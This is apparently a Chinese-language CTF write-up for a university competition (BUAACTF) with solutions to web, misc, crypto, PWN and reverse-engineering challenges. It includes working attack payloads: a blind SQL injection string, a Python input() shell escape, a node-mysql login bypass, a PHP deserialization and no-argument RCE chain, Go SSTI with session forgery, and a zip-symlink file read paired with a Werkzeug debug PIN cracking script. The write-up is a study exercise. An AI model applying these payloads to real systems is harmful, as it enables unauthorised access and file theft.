Misc
welcome
略。
sqlmisc2
思路
流量審計。
先把包里東西扔burp或隨便哪個url解碼網(wǎng)址解碼一下,看著方便點。
然后盤它的注入的邏輯:(注釋內(nèi)容已刪去)
user=admin' AND IF(SUBSTRING(REVERSE(CONV(HEX(SUBSTRING((SELECT GROUP_CONCAT(CONCAT(flag)) FROM chart_db.flag),1,1)),16,2)),1,1)=1,SLEEP(2),14209) AND '59548
對flag的每個字符的二進(jìn)制位按從低到高時間盲注。
emmmmm然后這題有一點小問題;從包的時間無法推斷出時間盲注的結(jié)果,必須通過中間夾雜著的亂碼包(非注入語句)推斷,有亂碼包則代表睡眠了。
注入流程就是一個很傳統(tǒng)的表名-->列名-->字段名-->flag的過程,用的也是information_schema。
flag
BUAACTF{W3b_kn0wledg3_1s_4lso_imp0rt@nt!}
ez_game
思路
代碼幾乎和我的Crypto::ez_game相同,只是用了python2,且recv改成了input。
使用python2的input漏洞即可直接RCE getshell。
https://blog.csdn.net/weixin_43921239/article/details/108569794
__import__('os').system('/bin/sh')
flag
flag{Pyth0n_3scape_1s_s0_1nter3sting!}
math_is_safe
思路
代碼讓你給出黎曼猜想的反例;顯然是沒有的。
于是,又只能是交互部分的漏洞了。
考慮到sage是python寫的,直接這個再試試。
__import__('os').system('/bin/sh')
直接getshell了,無事發(fā)生。
flag
flag{F@m0us_rep0s1tory_i5_no7-Alw4ys_Saf3}
問卷
略。
最不喜歡的題目填了misc::ez_game,因為他拿我題目的殼出了和我的題目完全不相關(guān)的東西還卡了我兩天(
想暴打的出題人填了SSGSS,因為他的web簽到題害我在平臺上多了十幾次錯誤提交(逃
Web
召喚神龍
思路
審計了將近30minJS代碼無果,才發(fā)現(xiàn)每種水產(chǎn)品(包括神龍)頭上都有個字符;通關(guān)一次,記下所有的字符,試了好多次(【Il1_】分不清)才過。
flag
flag{F12_C4N_D0}
login
思路
nodejs-sql輸入類型控制不嚴(yán)導(dǎo)致越權(quán)登錄。
具體的,當(dāng)能夠使用對象傳參時,能夠使用萬能密碼登錄(也對應(yīng)了題目的message)
對于nodejs后端,可以在控制臺中生成好對象,通過fetch傳參。
fetch("http://10.212.25.14:27217/auth", { headers: {
"content-type": "application/x-www-form-urlencoded", },
body: "username=admin&password[password]=1",
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => { console.log(r); });
或
data = {
username: "admin",
password: {
password: 1,
},
};
fetch("http://10.212.25.14:27217/auth", {
headers: {
"content-type": "application/json",
},
body: JSON.stringify(data),
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => { console.log(r); });
參考:https://blog.flatt.tech/entry/node_mysql_sqlinjection
flag
flag{ch3ck_7he_typ3}
common_php
考點
PHP反序列化+無參RCE
工具
不需要什么特別的工具;但建議在本地搭建PHP環(huán)境進(jìn)行測試,以及通過PHP腳本生成payload的部分內(nèi)容。
步驟
1、雕蟲小技
前端加了一些雕蟲小技阻止大家獲取代碼,但必然是攔不住大家的。
2、構(gòu)建反序列化鏈
需要進(jìn)行RCE就得進(jìn)入Admin的__toString
方法。
注意到admin的__call
方法中會輸出$this->admin,所以我們需要讓Admin對象中的admin屬性仍是Admin對象。
__call
在類的一個不存在的方法被調(diào)用時觸發(fā);控制Guest類的information屬性為Admin對象,即可調(diào)用Admin的confirm方法(不存在),進(jìn)而觸發(fā)Admin::__call
。
在我們進(jìn)行正常輸入時,生成的序列化內(nèi)容的可控性不強;但是,程序在序列化字符串生成后進(jìn)行了字符替換,這就造成了反序列化逃逸。雖然替換了某些字符,但序列化信息中對應(yīng)的屬性長度是不會變的,這就導(dǎo)致它會“吃掉”后面的部分內(nèi)容,精心設(shè)計,就可以實現(xiàn)任意序列化內(nèi)容的構(gòu)建。
3、無參RCE
不同于X-Forwarded-for或client-ip,Remote-Addr一般情況下難以偽造,所以要想進(jìn)行命令執(zhí)行必須走'limited shell'那一路。
preg_replace('/[a-z,_]+((?R)?)/', NULL, $shellcode)
是無參RCE過濾的關(guān)鍵部分,它的意思是遞歸的過濾形如XXX(xxx())
的內(nèi)容,舉例來說,abc(ajakfra(fahefha(fakfeaf(hepotidhb()))))
是合法的,但system('ls ')
因為最內(nèi)層括號有參數(shù),是不合法的。在【1】中,我們dirsearch時應(yīng)該還看到了個flag.php,所以目標(biāo)是當(dāng)前目錄下的任意讀。
給出payload并解釋:shell=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));
pos(localeconv())配合獲得【'.'】字符;scandir('.')掃描當(dāng)前目錄;array_flip() 交換數(shù)組的鍵和值;array_rand() 返回數(shù)組中的隨機(jī)鍵名。這個payload的作用是隨機(jī)讀取并顯示當(dāng)前目錄下的文件;多執(zhí)行幾次,就能讀到flag.php
總結(jié)
這個題目出完后其實總體難度略低于我的預(yù)期;主要是因為水平有限+從提供服務(wù)的角度來講,代碼邏輯需要基本自洽,所以我設(shè)計的反序列化鏈有點短。最后的無參RCE也沒有用什么額外的心機(jī),網(wǎng)上一搜一堆,注意一下過濾了current而pos可等價替代current 就行了。不過本題對于接觸web較少的同學(xué)來說難度應(yīng)該并不低;畢竟還是涉及了很多經(jīng)典知識點的。
exp
name=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag&age=0&height=0&weight=;s:11:"information";O:5:"Admin":1:{s:5:"admin";O:5:"Admin":1:{s:5:"admin";s:6:"hidden";}}}
shell=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));
flag
flag{I_@M_N0T_M4tryoshka_do1l*^_^*}
Go Get it
思路
go-gin框架搭建。
cookie(session)偽造+SSTI模板注入。
進(jìn)去看到一個login界面,登錄發(fā)現(xiàn)404??匆幌略创a,發(fā)現(xiàn)它是把表單送給/auth/login
處理的,但實際上應(yīng)該送給/login
。抓包改一下即可。
第二步,如果你uname不是admin,它就在Response里給你set-cookie;但后續(xù)需要uname是admin的cookie才能登錄。
func adminRequired() gin.HandlerFunc {
return func(c *gin.Context) {
s := sessions.Default(c)
if s.Get("uname") == nil {
c.Redirect(302, "/login")
c.Abort()
return
}
if s.Get("uname").(string) != "admin" {
c.String(200, "No,You are not admin!!!!")
c.Abort()
}
c.Next()
}
}
func loginPostHandler(c *gin.Context) {
uname := c.PostForm("uname")
pwd := c.PostForm("pwd")
/*
if uname == "admin" {
c.String(200, "noon,you cant be admin")
return
}*/這一段,本地搭建時刪掉。
if uname == "" || pwd == "" {
c.String(200, "empty parameter")
return
}
s := sessions.Default(c)
s.Set("uname", uname)
s.Save()
c.Redirect(302, "/secret")
}
所以本地搭建環(huán)境,把阻止admin生成cookie的那段刪掉,自己生成一下。
搭建環(huán)境的時候,go mod vender會出問題,要換國內(nèi)源。
使用本地偽造的cookie登錄后,在name中SSTI直接調(diào)用Password屬性即可。
(最后一步參考:https://mp.weixin.qq.com/s/MRc-wH0eHZgv5dpyw-Z6Ng)
func flag(c *gin.Context) {
admin := &User{"admin", "flag{fake_flag}"}
name := c.DefaultQuery("name", "challenger")
templ := fmt.Sprintf(`
<html>
<head>
<title>Go Get It</title>
</head>
<h1>Hello %s</h1>
</html>
`, name)
html, err := template.New("secret").Parse(templ)
if err != nil {
c.AbortWithError(500, err)
}
html.Execute(c.Writer, &admin)
}
go語言入門:https://www.topgoer.com/
flag
flag{g0lan9_@lso_ha5_s0me_s3curi7y_i55ues}
Upload_me
思路
前兩賽段做的最艱難的一題。
總的來說也不是特別復(fù)雜,但相關(guān)姿勢接觸比較少+看起來路比較多導(dǎo)致實際上做的非常艱難。
壓縮/解壓軟鏈接造成任意文件讀取+WSGI flask console PIN值破解+RCE。
先隨便發(fā)一點,發(fā)現(xiàn)后端是Werkzeug/0.14.1 Python/3.7.12
。
發(fā)壓縮包,后端會把它解壓、回顯出來。無法直接通過發(fā)送壓縮包造成RCE;測試了路徑穿越也無效。推測需使用軟鏈接。
? 編寫shell腳本
#!/bin/bash
ln -s <需要鏈接的文件名> <生成文件的放置路徑>
運行生成對應(yīng)軟鏈接文件,壓縮后上傳(實測的時候壓縮包名必須和軟鏈接文件名相同,否則會多套一層文件夾。
嘗試讀取了/etc/passwd
文件,知道了后端用戶名friday
;隨便讀點東西,觸發(fā)報錯后找到了服務(wù)端源碼/opt/app/app.py:
讀取源碼,但沒什么用。
-- coding: utf-8 --
from flask import Flask, render_template,redirect, url_for, request, Response
import uuid
import random
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET','POST'])
def index():
error = request.args.get('error', '')
if error == '1':
return render_template('index.html', forbidden=1)
return render_template('index.html')
@app.route('/upload', methods=['POST','GET'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
extract_path = file_save_path + '_'
file = ''
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
dir_list = os.popen('ls ' + extract_path, 'r').read()
print(dir_list.split())
for dir in dir_list.split():
if '../' in dir:
os.system('rm -rf ' + extract_path)
os.remove(file_save_path)
return redirect(url_for('index', error=1))
file += open(extract_path + '/' + dir, 'r').read()
os.system('rm -rf ' + extract_path)
os.remove(file_save_path)
return Response(file)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=10008)
轉(zhuǎn)換思路,讀取~/.bash_history
想看看管理員之前的操作或蹭車,被逮捕,且被告知下一步需要RCE。
查閱資料了解到flask console遠(yuǎn)程debug模式需要的PIN碼是根據(jù)主機(jī)六個特定的值算出來的:
用戶名;字符串“flask.app";字符串”Flask“;flask中app.py的絕對路徑;網(wǎng)卡mac值;機(jī)器id。
從/sys/class/net/eth0/address
獲取網(wǎng)卡mac值,/etc/machine-id
獲取機(jī)器id(注意,若是docker機(jī),則讀/proc/self/cgroup
;這里應(yīng)該不是)
使用網(wǎng)上的腳本跑出PIN值:(python2)
from sys import *
import requests
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'friday',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac),# str(uuid.getnode()), /sys/class/net/eth0/address
str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getcode(content):
try:
return re.findall(r"<pre>([sS]*)</pre>",content)[0].split()[0]
except:
return ''
def getshell():
print genpin("02:42:ac:11:00:06","96cec10d3d9307792745ec3b85c89620")
if __name__ == '__main__':
getshell()
(參考:https://blog.csdn.net/SopRomeo/article/details/105875248)
獲取權(quán)限后,運用system+popen檢查可執(zhí)行性+獲取回顯的組合
,最后執(zhí)行/readflag獲取flag。
(ls -l查看文件詳細(xì)屬性;readelf -h <文件名>查看elf文件的詳細(xì)屬性)
RCE的時候犯了愚蠢的錯誤,順便找了些os.system/linux錯誤碼相關(guān)的內(nèi)容,也一并放這里了。
https://blog.csdn.net/sxingming/article/details/52071257
flag
flag{GOD0fFlask1syouOULAOULAOULA}
Crypto
pow
思路
爆破一個md5的前四位。
沒有太多好說的,注意一下腳本里的一些類型轉(zhuǎn)換。
import string
from hashlib import md5
t = string.ascii_letters+string.digits
ans0=''
proof='K5yiwI5XrBqxU6Zg'
correct='4eb8b5ab1ad885e28d0773e27a11a97d'
for i in range(len(t)):
for j in range(len(t)):
for k in range(len(t)):
for l in range(len(t)):
md5ans = md5(t[i].encode()+t[j].encode()+t[k].encode()+t[l].encode()+proof.encode()).hexdigest()
#print(md5ans)
if(md5ans==correct):
ans0=(t[i]+t[j]+t[k]+t[l])
print(ans0)
flag
flag{To_m4ke_su7e_y0u_Ar3_n0t_DoS1ng_me!}
ez_game
考點
python_socket 自動化腳本編寫+md5碰撞
工具
python(廢話),fast_coll
md5碰撞工具
步驟
第一問
問題本身沒啥好說的,主要就是腳本的編寫。
其實也比較簡單,使用socket庫,建立tcp連接,調(diào)用recv、send進(jìn)行交互就行了。注意通過合理的sleep和recv字節(jié)數(shù)設(shè)置等 讓recv收到想要的東西(例如,一次性把前面的題目介紹全收完,而不是漏了一句而導(dǎo)致后面出錯)
import socket
from time import sleep
from gmpy2 import invert
address=('49.232.31.80',8088)
client=socket.socket()
client.connect(address)
sleep(1)
data=client.recv(1024)
print("server reply:",data)
client.send(b'1')
for i in range(300):
sleep(1)
data=str(client.recv(512))
data=data[26:]
print(data)
a=m=0
j=2
while(data[j]>='0' and data[j]<='9'):
a=a*10+int(data[j])
j+=1
j+=2
while(data[j]>='0' and data[j]<='9'):
m=m*10+int(data[j])
j+=1
print(a,m)
print((invert(a,m)))
client.send(str(invert(a,m)).encode())
sleep(2)
data = str(client.recv(512))
print(data)
client.close()
第二問
在網(wǎng)上尋找md5碰撞相關(guān)內(nèi)容,可以找到fastcoll工具。(也可以找到當(dāng)年王小云院士關(guān)于md5碰撞的論文,但CTF題有現(xiàn)成工具肯定用現(xiàn)成的,就不管它了。)
其實本題 nc 套接字 是可以直接與終端交互的,但是生成的hex碰撞文件(字符串)往往編碼不出人話,所以用腳本提交是最穩(wěn)妥的
import socket
from time import sleep
address=('49.232.31.80',8088)
client=socket.socket()
client.connect(address)
sleep(1)
data=client.recv(1024)
print(data)
client.send(b'2')
sleep(1)
r1=open("1.txt","rb")
r2=open("2.txt","rb")
x=r1.read()
y=r2.read()
r1.close()
r2.close()
client.send(x)
sleep(2)
client.send(y)
sleep(2)
data=client.recv(1024)
print(data)
client.close()
兩個文件是用fastcoll生成的md5值相同的文件。
總結(jié)
本題比較簡單,主要考察大家腳本編寫能力和信息搜集能力,同時增添一點比賽的樂趣(交互題還是比較好玩的)
flag
BUAACTF{Cr3pT0_Is_60_1nte2esTin3!}
chaos_generator
思路
只要膽子大,flag隨便拿。
看一下代碼:
def chaos_maker(p, g, seed):
res = 0
x = seed
for _ in range(randint(0, 1000)):
x = pow(g, x, p)
for i in range(256):
x = pow(g, x, p)
if x < (p-1) // 2:
res -= (1 << i) - 1
elif x > (p-1) // 2:
res += (1 << i) + 1
else:
res ^= (1 << i + 1)
return res if res > 0 else -res
def keygen(p, g):
u, v = chaos_maker(p, g, randint(0, 1<<64)), chaos_maker(p, g, randint(0, 1<<64))
return next_prime(u**2 + v**2) * next_prime(2*u*v)
關(guān)于seed,x,有非常多的隨機(jī),幾乎可以判斷他們是安全的。主要的問題就在res上。
res的生成方法讓我想到NAF表示;不過這不重要。至少,res是按二進(jìn)制位生成的,我們不妨多跑幾遍看二進(jìn)制值的規(guī)律。果然發(fā)現(xiàn)res和p、g是存在關(guān)聯(lián)的,更具體的,一組p、g只對應(yīng)三種可能的res,且它們的二進(jìn)制表示都非常有規(guī)律。大家可以自己跑跑看。
然后,直接用它的程序改一改,通過核對N找到正確的u、v,找到正確的大素數(shù),RSA解密就行了。
復(fù)習(xí)一下基本的RSA解密(逃
phi=(ans1-1)*(ans2-1)
d=invert(e,phi)
m=pow(c,d,N)
print(n2s(int(m)))
flag
flag{U_g&5-th3_BA51cs_MY_PaDawan>_<}
easyrsa
思路
題目的message就差直接告訴你讓你查資料了。
def gen():
e = 3
while True:
try:
p = getPrime(512)
q = getPrime(512)
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
if d == 1:
continue
return p,q,d,n,e
except:
continue
return
p,q,d,n,e = gen()
c = pow(s2n(flag), e, n)
print("n = %d"%n)
print("e = %d"%e)
print("c = %d"%c)
print("mbar = %d"%(s2n(flag[:len(flag) // 2]) << 192))
要素察覺:低加密指數(shù),明文高位泄露。開搜。
https://lazzzaro.github.io/2020/05/06/crypto-RSA/
**Coppersmith攻擊(已知m的高位攻擊)**
e 足夠小,且部分明文泄露時,可以采用Coppersmith單變量模等式的攻擊,如下:
c=memodn=(mbar+x0)emodnc=memodn=(mbar+x0)emodn,其中 mbar=(m>>kbits)<<kbitsmbar=(m>>kbits)<<kbits
當(dāng) |x0|≤N1e|x0|≤N1e 時,可以在 logNlog?N 和 ee 的多項式時間內(nèi)求出 x0x0。
甚至連sage腳本都給你了。換一下參數(shù)跑一下就行了。
在線sage https://sagecell.sagemath.org/
ubuntu sage下載 https://blog.csdn.net/ckm1607011/article/details/106724624
ubuntu磁盤擴(kuò)容 https://jingyan.baidu.com/article/86fae34604bdd53c49121a26.html
n =
e = 3
c =
mbar =
kbits = 192
beta = 1
nbits = n.nbits()
print("upper {} bits of {} bits is given".format(nbits - kbits, nbits))
PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c
x0 = f.small_roots(X=2^kbits, beta=1)[0] # find root < 2^kbits with factor = n
print("m:", mbar + x0)
flag
BUAACTF{Y0u_Know_c0ppersmit_s0_w3ll!!@#$#%~!@!}
ez_des
思路
題目給出了一輪des加密對應(yīng)的五組明密文,讓我們求解對應(yīng)的密鑰。
首先想一想,通過已知信息是求不出原始56位初始密鑰的,只能求出加解密時用作輪函數(shù)加的48位密鑰。
因為其他步驟的所需信息都是有的,所以我們可以正常的算出每次加解密中的afterExtend(加密從上往下走)和afterSbox(解密從下往上走),只需求解afterRoundKey。
逐S盒來看,每4位afterSbox內(nèi)容對應(yīng)4種可能的6位afterRoundKey內(nèi)容,進(jìn)而與afterExtend算出4種可能的6位密鑰;因為我們有五組明密文對,分別計算,然后取結(jié)果里相同的那一組密鑰即可(五組不用算完,算到出現(xiàn)唯一相同的可能密鑰[一般只需要兩組]就行了)。
推測flag內(nèi)容是7位字符,故最后還需要補0或1,試一下(其實都不用試)就行了。
flag
flag{wtclaa!}
PWN
Or4ngeOj
思路
一道跟pwn沒有關(guān)系的“pwn題”。
給了一個能運行C代碼的OJ環(huán)境,print內(nèi)容能直接在網(wǎng)站上輸出;先嘗試System反彈Shell,但沒反應(yīng)。嘗試大一的fopen文件讀+直接輸出,直接彳亍了。
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("Hello world.
");
char buffer[800];
FILE *fp=fopen("./flag","r");
fgets(buffer,sizeof(buffer),fp);
printf("%s
",buffer);
return 0;
}
flag
flag{W3lc0me_t0_my_h4ppy_OJ}
RE
checkin
思路
出題人真的是非常良心了。引導(dǎo)完全拉滿。
加密邏輯是 洗牌+異或;trans和target直接在IDA里雙擊進(jìn)去就能看到。
按部就班寫出解密:
a=''
for i in range(16):
v11[trans[i]+24]=v9[i]
for i in range(17):
v9[i]=v11[i+24]
for i in range(16):
v9[i]=hex(v9[i]^0x87)
a+=v9[i][2:]
print(v9)
注意,讀入中前面好幾部分都不是按字節(jié)讀的,需要變化一下端序。
讀入的格式是UUID;不知道的話可以上網(wǎng)查一下這是啥。其實從IDA里也能直接看出讀入格式。
flag
flag{b72dcc6c-4c13-5567-d70b-14e2253d8c21}
onequiz
思路
工具使用題。
使用jeb-pro打開安卓包,找到出題人自己寫的部分(com/examople/activity),在FirstActivity里發(fā)現(xiàn)AES字樣,解析進(jìn)去查看Java源碼。
在網(wǎng)上進(jìn)行base64-AES decrypt。https://icyberchef.com/
flag
flag{s1mP13_L4yer_0f_J4va}
dis_me
思路
第一賽段做的最艱難的一題。
python可執(zhí)行文件解包+反匯編出字節(jié)碼+手搓字節(jié)碼+解密。
(1)利用pyinstxtravtor進(jìn)行可執(zhí)行文件解包:(現(xiàn)在這玩意可直接作用于elf了)
https://github.com/extremecoders-re/pyinstxtractor
直接python pyinstxtractor.py <路徑>
即可
(2)marshall+dis生成字節(jié)碼
本題是python3.10,所以之前我常用的https://tool.lu/pyc/無效,只能解出字節(jié)碼后手搓python代碼。
f=open('src.pyc','rb')
data=f.read()
Pycode=data[16:]
import marshal
import dis
Pyobj=marshal.loads(Pycode)
dis.dis(Pyobj)
注意上述代碼在python3.9執(zhí)行是可以的,但在3.6執(zhí)行會報錯。這里的話,版本越高越好。
手搓的過程非常艱辛。python3.10的字節(jié)碼和之前有所不同,最顯著的就是comp之類的跳轉(zhuǎn)位置要*2才是真正的跳轉(zhuǎn)位置。
建議手搓的時候,使得自己程序字節(jié)碼和原字節(jié)碼幾乎完全相同,而不要只是“邏輯相同”;后者非常難debug。
一些輔助搓字節(jié)碼的玩意
https://docs.python.org/zh-cn/3/library/dis.html?highlight=字節(jié)#opcode-collections
http://unpyc.sourceforge.net/Opcodes.html
核心函數(shù):
def keyGenerator(key):
k = [0] * 36
(k[0], k[1], k[2], k[3]) = ((key >> 96), ((key >> 64) & 4294967295), ((key >> 32) & 4294967295), (key & 4294967295))
(k[0], k[1], k[2], k[3]) =(k[0]^2746333894, k[1]^1453994832, k[2]^1736282519, k[3]^2993693404)
for i in range(4, 36):
k[i] = k[i - 4] ^ T_key(k[i - 3] ^ k[i - 2] ^ k[i - 1] ^ CK[i - 4])
return k
def T_key(key):
(a0, a1, a2, a3) = ((key >> 24), ((key >> 16) & 255), ((key >> 8) & 255), (key & 255))
(b0, b1, b2, b3) = ((sbox_subtitute(a0)), (sbox_subtitute(a1)), (sbox_subtitute(a2)), (sbox_subtitute(a3)))
key = (b0 << 24) | (b1 << 16) | (b2 << 8) | (b3)
key = move_left(key, 13) ^ move_left(key, 23) ^ key
return key
def T(data):
(a0,a1,a2,a3)=((data>>24),((data>>16)&255),((data>>8)&255),(data&255))
(b0,b1,b2,b3)=((sbox_subtitute(a0)),(sbox_subtitute(a1)),(sbox_subtitute(a2)),(sbox_subtitute(a3)))
data = (b0 << 24) | (b1 << 16) | (b2 << 8) | (b3)
data = move_left(data, 2) ^ move_left(data, 10) ^ move_left(data, 18) ^ move_left(data, 24) ^ data
return data
def decrypt(data, key):
x = [0] * 36
(x[0], x[1], x[2], x[3]) = (
(data >> 96), ((data >> 64) & 4294967295), ((data >> 32) & 4294967295), (data & 4294967295))
key = keyGenerator(key)
for i in range(4, 36):
x[i] = (x[i - 4] ^ T(x[i - 3] ^ x[i - 2] ^ x[i - 1] ^ key[39-i]))
cipher = (x[35] << 96) | (x[34] << 64) | (x[33] << 32) | (x[32])
return cipher。
def move_left(data, bit):
data = ((data << bit) & (0xFFFFFFFF)) | (data >> (32 - bit))
return data
def sbox_subtitute(data):
global sbox
return sbox[data >> 4][data & 0xF]
(3)解密
先看加密:
cip1=encrypt(s2n(str1)^iv,key)
cip2=encrypt(s2n(str2)^cip1,key)
if((cip1<<128)+cip2==74409953901716602317029493075776556675983276898700682918966016542397856770799):
print('Congratulations~')
據(jù)此,可以寫出相應(yīng)的解密:
data1 = data >> 128
data2 = data & (0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
ans1 = decrypt(data1, key) ^ iv
ans2 = decrypt(data2, key) ^ data1
ans = n2s(ans1) + n2s(ans2)
注意,CBC模式的解密是要將 第n+1組數(shù)據(jù)解密后與第n組的密文數(shù)據(jù)進(jìn)行異或 是密文(data1)!不是明文(ans1)!
flag
flag{Som3_new_Fea7ures_1n_python310}
本文摘自 :https://www.cnblogs.com/